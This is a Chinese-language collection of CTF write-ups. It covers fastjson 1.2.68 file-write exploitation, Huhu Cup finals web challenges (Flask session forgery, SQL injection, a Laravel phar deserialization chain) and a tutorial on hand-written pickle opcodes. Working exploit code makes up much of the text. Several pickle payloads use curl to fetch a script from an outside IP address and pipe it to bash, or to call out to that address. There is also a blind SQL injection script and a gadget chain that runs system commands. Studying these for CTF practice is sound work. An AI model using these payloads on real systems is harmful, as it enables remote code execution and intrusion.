MarshalOutputStream的作用就相当于浅蓝师傅使用的SerialOutput,目的是触发写入操作。InflaterOutputStream负责缓冲存入的数据,FileOutputStream负责数据真正写入

write:354, FileOutputStream (java.io)
write:255, InflaterOutputStream (java.util.zip)
drain:1883, ObjectOutputStream$BlockDataOutputStream (java.io)
setBlockDataMode:1792, ObjectOutputStream$BlockDataOutputStream (java.io)
<init>:248, ObjectOutputStream (java.io)
<init>:64, MarshalOutputStream (sun.rmi.server)

最后解释一下为什么需要满足利用条件2

在fastjson将字段注入到对象中的时候,可以使用setter注入,也可以用构造方法直接注入。由于我们想要设置的字段MarshalOutputStream、InflaterOutputStream、FileOutputStream都没有对应的setter方法,没法实现注入,那么就只能利用构造方法注入。

使用构造方法注入时,必须知道参数的名字,否则将无法正确注入字段。为此,fastjson使用了ASMUtils.lookupParameterNames方法来获取参数名字。

image-20210812115716614

但是,究竟能否获取到参数名字取决于字节码生成时是否指定了-parameters参数。如果指定了,字节码中才会保存参数名字,否则不会保存。如果没有保存,自然也就获取不到参数名,那么也就注入失败了,就会爆出如下错误:找不到构造器

image-20210812115636217

fastjson1.2.68延申

landgrey师傅提供了一种从写文件到rce的思路,根据jdk lib目录下的charsets.jar,伪造一个恶意的charsets.jar,向其中值入恶意代码,再利用fastjson的写文件漏洞将其写回靶机。当jvm再次加载这个jar包的类时,就会触发恶意代码执行。由于师傅已经写的非常详细了,这里不赘述。

参考文章

BasicDataSource:https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

省赛wp:https://tari.moe/2021/05/23/2021gd-university-ctf/

parse 和 parseObject区别:https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA

TemplatesImpl:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

1.2.47:https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955

fastjson漏洞绕过史:https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/#fastjson-lt-1-2-47

https://www.freebuf.com/vuls/208339.html

1.2.68_Throwable:https://b1ue.cn/archives/348.html

1.2.68_AutoClose_b1u3r:https://b1ue.cn/archives/364.html

1.2.68_AutoClose_rmb122:https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&scene=21#wechat_redirect

从写文件到rce:https://landgrey.me/blog/22/

虎符决赛复现

easyflask

常规流程

  1. 读secret_key
  2. 伪造cookie
  3. 伪造admin/rce等后续攻击

/file?file=/proc/self/environ读secret_key

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

linux下启动一个flask程序生成payload

需要注意:靶机是Linux环境,本地是Windows环境,这两个环境下dumps的结果中序列化字符串声明系统的标识符不同:Linux=>posix;Windows=>nt,需要将脚本放在Linux环境下生成序列化字符串

import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] ="glzjin22948575858jfjfjufirijidjitg3uiiuuh"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda x: (os.system, ('curl http://121.5.40.245:8081/|bash',))
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

hatenum

这题是个sql注入,但是过滤比较严格。引号过滤要想到反斜杠转义,select被过滤就无法注出其他表了,只能在本表中注入。虽然反斜杠转义后可以直接构造一个万能密码登录,但是还有个code无法得知,所以本题的目标就是注出code

function sql_waf($str){
    if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
        die('Hack detected');
    }
}

function num_waf($str){
    if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
        die('Huge num detected');
    }
}

function login($username,$password,$code){
    $res = $this->conn->query("select * from users where username='$username' and password='$password'");
    if($this->conn->error){
        return 'error';
    }
    else{
        $content = $res->fetch_array();
        if($content['code']===$_POST['code']){
            $_SESSION['username'] = $content['username'];
            return 'success';
        }
        else{
            return 'fail';
        }
    }

}

这题采用的做法是利用exp指数函数报错来实现布尔盲注。原理是exp(num)在num>=710时会报错。报错时的回显是error,与正常情况不同,利用这一点盲注。

image-20210814143741264

贴一下师傅的exp

这里做了一些思考,值得注意。

  1. 题目限制了引号,所以没法使用字符串。使用十六进制替代时又被限制了长度不能超过9,所以一次最多注9/2=4个字符。这就导致注出的内容顺序不太可靠,需要加以分析才能得到正确结果。举个例子,正确的code为erghruigh2uygh23uiu32ig。一次注4个字符,当注到gh2,准备猜下一个字符时,先猜u,组成gh2u,是可以成功匹配的;如果先猜3,组成gh23,也可以成功匹配。但是二者造成的结果是完全不同的,如果先猜u,就会陷入死循环。先猜3,就会导致code的中间一段gh2uy被跳过。所以这里需要一些人工分析才能得到正确的code
  2. 参考这位师傅的分析,尝试了这样的payload||code rlike binary 0x" + jud + pay + " && code rlike exp(999)#,但是并没有成功,所有的返回都是error。没想通为什么会出现这样的结果,在本地mysql执行了一下这个命令是没问题的,排除了语法问题,每次都error让我猜测是不是exp(999)总是会先于code rlike binary 0x + jud + pay执行,等待高手解答。相比之下||exp(710-(code rlike binary 0x"+jud+pay+"))#这种解法聪明很多。
import requests
import string
import time

def str2hexnum(str):
    hexhum=''
    for i in str:
        hexhum=hexhum+hex(ord(i))[2:]
    return hexhum

def main():
    url = "http://44fb10f5-6881-4972-991a-9493c70da4f8.node4.buuoj.cn"
    hatelist=string.digits+string.ascii_lowercase+string.ascii_uppercase
    #0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
    rel='erg'
    tem='erg'
    tag=True
    while(tag):
        jud=str2hexnum(tem)
        for p in hatelist:
            pay = str2hexnum(p)
            payload="||exp(710-(code rlike binary 0x"+jud+pay+"))#"
            # payload = "||code rlike binary 0x" + jud + pay + " && code rlike exp(999)#"
            # payload = "||code rlike binary 0x111111 && code rlike exp(999)#"

            payload=payload.replace(' ',chr(0x0c))
            data = {
                "username": "admin\\",
                "password": payload,
                "code": "1"
            }
            time.sleep(0.2)
            req = requests.post(url+"/login.php",data=data,allow_redirects=False)
            # print(p+"\t"+req.text)
            if('fail' in req.text):
                rel=rel+p
                tem=tem[1:]+p
                print(rel)
                break



if __name__=='__main__':
    main()

tinypng

这道题难度不是特别大,主要有两点

  1. 代码审计

    审计注意两点,版本和路由

    composer.json中看到了laravel的版本

    "require": {
        "php": "^7.3|^8.0",
        "fideloper/proxy": "^4.4",
        "fruitcake/laravel-cors": "^2.0",
        "guzzlehttp/guzzle": "^7.0.1",
        "laravel/framework": "^8.12",
        "laravel/tinker": "^2.5"
    }
    

    routes/web.php看到了路由信息,这里前端不知道是故意的还是什么,在访问/image的时候,input提交采用的是post,就导致了一个405,需要自己用get发请求。

    <?php
    use Illuminate\Support\Facades\Route;
    use App\Http\Controllers\IndexController;
    use App\Http\Controllers\ImageController;
    
    Route::get('/', function () {
        return view('upload');
    });
    Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
    
    //Don't expose the /image to others!
    Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
    

    根据提供的接口去看对应的方法能够发现,IndexController提供了上传功能,ImageController提供了压缩功能

    上传限制了内容和后缀,内容限制了php后门和phar,后缀定死了是png。这样就比较明显了,后门肯定写不了了,只能从phar下手。

    if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
    {
        $content = $req->file('file')->get();
        if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
            $error = 'Don\'t do that, please';
            return back()
                ->withErrors($error);
        }else {
            $fileName = \md5(time()) . '.png';
            $path = $req->file('file')->storePubliclyAs('uploads', $fileName);
            echo "path: $path";
            return back()
                ->with('success', 'File has been uploaded.')
                ->with('file', $path);
        }
    } 
    

    imgcompress::_openImage调用了getimagesize方法(能触发phar反序列化),参数src可控,利用压缩接口/image?image=src传入即可。

    private function _openImage()
    {
        list($width, $height, $type, $attr) = getimagesize($this->src);
        $this->imageinfo = array(
            'width' => $width,
            'height' => $height,
            'type' => image_type_to_extension($type, false),
            'attr' => $attr
        );
        $fun = "imagecreatefrom" . $this->imageinfo['type'];
        $this->image = $fun($this->src);
        $this->_thumpImage();
    }
    

    目前为止,知道了laravel版本、存在反序列化点,那么就只差一条链外加绕过waf了。链子不细讲,下面主要记录一下四种绕过waf的方法。

  2. phar反序列化绕过

    绕过phar内容过滤的方法,底层实现分析参考。一句话总结就是,之所以压缩phar后还能被正确解析,是因为php底层在解析phar时会检查文件内容是否包含这些压缩方式的幻数,如果包含,则会先对应解压再进行解析。

    1. gzip/bzip2

      正常生成phar后

      gzip phar.phar 
      bzip2 phar.phar #测试失败
      
    2. 利用zip注释

      这里由于存在private字段,序列化数据中存在00不可见字符,这在zip注释中不被允许,因此使用16进制来改写序列化数据

      <?php
      namespace Illuminate\Broadcasting{
          use Illuminate\Contracts\Events\Dispatcher;
          class PendingBroadcast
          {
              protected $event;
              //__destruct析构方法是调用$this->events类的dispatch方法,这里是调用Dispatcher类的dispatch方法
              protected $events;
              public function __construct($events, $event)
              {
                  //event是dispatch方法的参数,也就是$command,而$command需要实现ShouldQueue接口,因此这里$event是选择BroadcastEvent类
                  $this->event = $event;
                  $this->events = $events;
              }
          }
      }
      
      namespace Illuminate\Broadcasting{
          class BroadcastEvent{
              //这里$connection作为call_user_func的第二个参数,也就是静态类EvalLoader中load()方法的参数,也就是$definition
              public $connection;
              public function __construct($connection)
              {
                  $this->connection = $connection;
              }
          }
      }
      
      namespace Illuminate\Bus{
          class Dispatcher
          {
      
              public function __construct($queueResolver)
              {
                  //queueResolver是后续call_user_func_array()的第一个参数,这里我们需要调用静态类方法执行eval
                  $this->queueResolver = $queueResolver;
              }
              //$command需要实现ShouldQueue接口时commandShouldBeQueued方法才会返回真,这里使用BroadcastEvent类
              public function dispatch($command)
              {
                  //需要使三目运算符的判断式为真,才能调用dispatchToQueue方法进而调用call_user_func_array
                  return $this->queueResolver && $this->commandShouldBeQueued($command)
                      ? $this->dispatchToQueue($command)
                      : $this->dispatchNow($command);
              }
          }
      }
      
      namespace Mockery\Loader{
          use Mockery\Generator\MockDefinition;
          class EvalLoader
          {
              //这里$definition需要实现MockDefinition接口,因此选取的是MockDefinition类
              public function load(MockDefinition $definition){}
          }
      }
      
      namespace Mockery\Generator{
          class MockDefinition
          {
              protected $config;
              protected $code;
              //这里$this->config设置为MockConfiguration类,其getname方法和参数可控能够得到任意字符作为getClassName()的返回值
              public function __construct($config, $code)
              {
                  $this->config = $config;
                  //$this->code 作为EvalLoader类中load方法中eval()的拼接参数,也就是我们需要实现命令执行的地方
                  $this->code = $code;
              }
          }
      }
      namespace Mockery\Generator{
          class MockConfiguration{
              protected $name;
              public function __construct($name)
              {
                  $this->name = $name;
              }
          }
      }
      
      namespace{
      
          //bypass %00
          function process_serialized($serialized) {
              $new = '';
              $last = 0;
              $current = 0;
              $pattern = '#\bs:([0-9]+):"#';
      
              while(
                  $current < strlen($serialized) &&
                  preg_match(
                      $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
                  )
              )
              {
      
                  $p_start = $matches[0][1];
                  $p_start_string = $p_start + strlen($matches[0][0]);
                  $length = $matches[1][0];
                  $p_end_string = $p_start_string + $length;
      
                  # Check if this really is a serialized string
                  if(!(
                      strlen($serialized) > $p_end_string + 2 &&
                      substr($serialized, $p_end_string, 2) == '";'
                  ))
                  {
                      $current = $p_start_string;
                      continue;
                  }
                  $string = substr($serialized, $p_start_string, $length);
      
                  # Convert every special character to its S representation
                  $clean_string = '';
                  for($i=0; $i < strlen($string); $i++)
                  {
                      $letter = $string{$i};
                      $clean_string .= ctype_print($letter) && $letter != '\\' ?
                          $letter :
                          sprintf("\\%02x", ord($letter));
                      ;
                  }
      
                  # Make the replacement
                  $new .=
                      substr($serialized, $last, $p_start - $last) .
                      'S:' . $matches[1][0] . ':"' . $clean_string . '";'
                  ;
                  $last = $p_end_string + 2;
                  $current = $last;
              }
      
              $new .= substr($serialized, $last);
              return $new;
      
          }
          //先使得$this->name返回crispr,这样调用class_exists()时没有crispr类肯定会返回false
          $mockconfiguration = new Mockery\Generator\MockConfiguration("crispr");
          //使得$this->config为MockConfiguration类后调用getname方法,后面为eval的拼接参数,这里写个一句话
          $mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,'<?php echo system("cat /flag");');
          $evalloader = new \Mockery\Loader\EvalLoader();
          //MockDefinition类实现了MockDefinition接口作为load方法的参数
          $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
          //该dispatcher调用EvalLoader的load方法
          $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,"load"));
          //第一个参数为调用Dispatcher类的dispact方法,第二个参数是实现ShouldQueue的$command
          $exp = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
      
          $phar_file= str_replace('S:31:"<?php','S:31:"\3c\3f\70\68\70',process_serialized(serialize($exp)));
          $zip = new ZipArchive();
          $res = $zip->open('r2.zip',ZipArchive::CREATE);
          $zip->addFromString('r2.txt', 'file content goes here');
          $zip->setArchiveComment($phar_file);
          $zip->close();
          copy("r2.zip","zip.png");
          unlink("r2.zip");
      }
      
    3. 利用tar metadata

      先生成.phar文件夹

      <?php
      namespace{
          use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
          use \Mockery\HigherOrderMessage;
          use \PHPUnit\Framework\MockObject\MockTrait;
          $c=new MockTrait();
          $b=new HigherOrderMessage($c);
          $a=new ImportConfigurator($b);
          mkdir(".phar");
          file_put_contents('.phar/.metadata',serialize($a));
      }
      

      再tar -zcvf tar.png .phar/

总结

决赛的题目质量还是不错的,学到了很多新姿势。

参考文章

hatenum:https://naman.cool/2021/05/01/[HFCTF%202021%20Final]web/

hatenum:http://roverdoge.top/archives/204

tinypng:https://www.crisprx.top/archives/403#phpggc

tinypng:https://guokeya.github.io/post/z5gHcmbVj/

[TOC]

再看pickle反序列化

之前对于pickle反序列化的理解就仅仅停留于知道__reduce__方法能够执行代码,比php的反序列化更加灵活。php仅仅是传递对象的属性,而pickle还可以控制反序列化过程中执行代码。很自然地,在2021巅峰极客比赛中被狠狠上了一课。比赛中有两道python题,都需要自行构造pickle反序列化数据(不能直接用dumps函数生成的),之前从来没遇到这样的题,就蒙圈了。

其实后来发现,之前遇到pickle题看博客的时候,里面是有提到pvm和opcode解析的过程的/当时太浮躁,仅仅是浮在表面的理解,就没有关注这些深层的知识。现在是时候该补补这块知识了。

pvm解析pickle

实际上,调用pickle.dumps(obj)的时候,生成的字符串就是一段opcode代码,这也就能解释为什么pickle反序列化可以控制执行代码了,因为它的序列化数据本质上就是代码。调用pickle.loads(str)反序列化对象时,就是在执行序列化时生成的opcode代码,底层的工作是由pvm(pickle virtual machine)来完成的。pvm是基于栈的工作模式,反序列化的过程实际上就对应着数据不断入栈出栈的过程。

pvm由三大部分组成:栈、memo、解析引擎。如果学过jvm就比较好理解,这里的栈和memo就可以分别类比成jvm的栈帧中的操作数栈和局部变量表,解析引擎可以类比成JIT即时编译器或者解释器。栈用来存放opcode运行过程中的一些临时数据,memo用来存放一些需要长期保存的数据,解析引擎解析opcode,并执行对应的操作。opcode可以理解成机器码,不同的opcode对应着不同的指令(偷了师傅的一张表,见下,也可以直接看pickle库源代码中的注释),由解析引擎来解析执行。

具体的解析流程师傅写得太好了,这里就不赘述,可以参考这篇文章

到这里应该能够想到,如果某个web项目提供了pickle反序列化的接口,这将是相当危险的。攻击者可以通过这个接口,编写特定的opcode,来执行任意代码。其实在一般情况下,是可以不需要手撸opcode的,直接写__reduce__方法即可。不过在存在waf的场合或者是一些较难的ctf题,就可能需要手撸了。

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

CTF例题

【2018Code-Breaking】picklecode

复现环境:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

这题主要学习以下几点

django框架通过ssti读SECRET_KEY

本题是通过ssti的方式,不能读取以下划线开头的属性,不过另辟蹊径读到SECRET_KEY

@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))
{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}

如果是格式化字符串,利用的链子会更多一些,没有限制不能读取下划线开头的属性。

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))
{{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}}
{{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}
手撸opcode绕过waf

这题自定义了pickle的反序列化器,在反序列化的时候做了白名单过滤。

查看django配置文件code/settings.py,发现自定义的序列化器是PickleSerializer

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

找到序列化器,发现重写了find_class函数,那么这个函数究竟在什么时候会调用?

从opcode角度看,当出现cib'\x93'时,会调用find_class

举例来看,首先使用pickle.dumps生成序列化数据

class exp(object):
    def __reduce__(self):
        s = r"""touch /tmp/success"""
        return (os.system, (s,))
print(pickle.dumps(exp(),protocol=0))

然后反序列化。借用p神的一张图。当在执行第一个opcodecposix\nsystem\n时,因为是c操作,所以find_class会被调用,由于module是posix,所以被ban了。

从这个例子看出,这题想要直接调用pickle.dumps生成payload是不可行的,pickle.dumps生成的序列化数据很直接,不会拐弯子,自然也就无法绕过waf。所现在就需要手撸opcode,自己构造payload。

image-20210802120334478

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

这题采用的绕过方式是利用builtins.getattr来获取eval。通过getattr获取时,虽然会触发find_class,但是传入的module=builtins,name=getattr,可以绕过waf。具体一步步的调用过程我进行了如下拆解,读者可以一步步地理解。

import pickle
import builtins

data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR."""  #get
print(pickle.loads(data))
# print(builtins.getattr(builtins.dict, "get"))


data=b"""(cbuiltins
globals
(tRS'builtins'
t."""  #(builtins.globals(),'builtins')
print(pickle.loads(data))


data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
."""  #builtins.globals().get('builtins')=builtins
print(pickle.loads(data))

data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR."""
print(pickle.loads(data))

data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("dir")'
tR."""
print(pickle.loads(data))

概括来看如下,可以发现,自始至终传入find_class的module都只有builtins,而name则用到了getattr、dict、globals,这三个都不在黑名单中,实现了绕过

通过builtins.getattr(builtins.dict, "get")获取<method 'get' of 'dict' objects>
获取builtins.globals()
通过builtins.globals().get('builtins')获取<module 'builtins' (built-in)>
通过builtins.getattr(builtins,"eval")获取<built-in function eval>
exp
from django.core import signing
import base64, zlib, os

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "core.settings")

SECRET_KEY = "zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm"
payload = b"""cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\n(tRp3\n0g2\n(g3\nS\'builtins\'\ntRp4\n0g0\n(g4\nS\'eval\'\ntRp5\n0g5\n(S\'__import__("os").system("curl http://121.5.40.245:5566")\'\ntR."""

def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')

def evil_session(key, salt):
    global payload
    is_compressed = False
    compress = False
    if compress:
        compressed = zlib.compress(payload)
        if len(compressed) < (len(payload) - 1):
            payload = compressed
            is_compressed = True
    base64d = b64_encode(payload).decode()
    if is_compressed:
        base64d = '.' + base64d
    print(signing.TimestampSigner(key, salt=salt).sign(base64d))

evil_session(SECRET_KEY, 'django.contrib.sessions.backends.signed_cookies')

需要注意,exp中from django.core import signing使用的django版本为1.9.1,太高版本可能会执行失败

【watevrCTF-2019】Pickle Store

复现环境:https://buuoj.cn/challenges#[watevrCTF-2019]Pickle%20Store

cookie base64解码后发现是opcode,直接构造传入/buy接口就能getshell

import pickle
import base64
data=b'''(S'curl vps'
ios
system
.'''

# data=b'''cos
# system
# (S'whoami'
# tR.'''

# data=b'''(cos
# system
# S'whoami'
# o.'''
print(base64.b64encode(data))

【高校战疫网络安全分享赛】webtmp

这题考查的是变量覆盖。find_class函数限制module为__main__,并且opcode不能使用R。要求传入的Animal对象的属性等于secret中的属性,做法就是将secret中的属性覆盖掉,然后再构造Animal,即可满足条件。

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
        
@application.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data): # 不能包含R字符
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data)) # 被反序列化
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category)) # 对比是否一致
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

payload构造如下,第一种使用i,第二种用o,原理相同。

import base64
import pickle
import sys
# payload=b'''c__main__
# secret
# (S'name'
# S"1"
# S"category"
# S"2"
# db0(S"1"
# S"2"
# i__main__
# Animal
# .'''

payload=b'''c__main__
secret
(S'name'
S"1111"
S"category"
S"2222"
db0(c__main__
Animal
S"1111"
S"2222"
o.'''


print(base64.b64encode(payload))

【SUCTF 2019】Guess Game

这题考察的也是变量覆盖。题目给的应用是一个猜数字游戏,连续猜10轮正确给flag。做法就是直接将正确的数字覆盖,并且将答对的轮数覆盖为9,再加上本次答对,刚好拿到flag。

使用pker工具构造,使用方法参考这篇文章

ticket=INST('guess_game.Ticket','Ticket',(1))
game=GLOBAL('guess_game','game')
game.win_count=9
game.round_count=9
game.curr_ticket=ticket

return ticket
exp
import pickle
import socket
import struct

s = socket.socket()
s.connect(('121.5.40.245',9042))

exp = b'''(I1\niguess_game.Ticket\nTicket\np0\n0cguess_game\ngame\np1\n0g1\n(}(S'win_count'\nI9\ndtbg1\n(}(S'round_count'\nI9\ndtbg1\n(}(S'curr_ticket'\ng0\ndtbg0\n.'''

s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

【BalsnCTF】pyshv1

这题限制了只能使用sys模块。做法是通过不断地修改sys.modules[“sys”]的内容,来达到引入任意模块的效果。给出pker代码

modules=GLOBAL('sys', 'modules')
modules['sys']=modules
modules_get=GLOBAL('sys', 'get') #此时的sys实际上是sys.modules
os=modules_get('os')
modules['sys']=os
system=GLOBAL('sys', 'system')此时的sys实际上是sys.modules.get("os")
system('whoami')
return

【BalsnCTF】pyshv2

这题限制了只能使用structs模块,这个模块是题目自带的,并且是一个空的模块。关键在于find_class中手动调用了__import__,这样的话就可以劫持__import__函数来引入任意模块

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module) # 注意这里调用了__import__
        return getattr(module, name)

给出pker代码

__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval'](即__builtins__['eval']
eval('print(123)')
return

【BalsnCTF】pyshv3

这题的要求稍微低了一些,不需要getshell,只要让not user.privileged为False即可。但是反序列化后会将user.privileged设置为False,看似好像想让not user.privileged为False是件不太可能的事情。

def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

这里涉及到python面向对象当中的描述器机制。当一个类实现了__get____set____delete__任一方法时,该类被称为“描述器”类。描述器对象在被赋值时,会调用它的__set__方法。如果将user.privileged设置成描述器对象,那么在执行user.privileged = False时就会调用__set__方法,这个方法是我们可控的,那么就能避免真正执行user.privileged = False了。

需要注意的是,描述器需要是类变量。这里有段测试代码,如果不是类变量,则仅仅是一个普通对象。

import pickle


class descrip:
    def __set__(self, instance, value):
        print("__set__")

class A:
    d1=descrip()
    def __init__(self):
      self.d2=descrip()

a=A()
print(a.d1)
a.d1="changed"
print(a.d1)

print(a.d2)
a.d2="changed"
print(a.d2)

下面给出pker代码

User = GLOBAL('structs', 'User')
User.__set__ = User #给User类加__set__方法,使它称为描述器类
user = User(0, 0)
User.privileged = user #使User.privileged为描述器对象
return user

参考

https://xz.aliyun.com/t/7436#toc-12

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html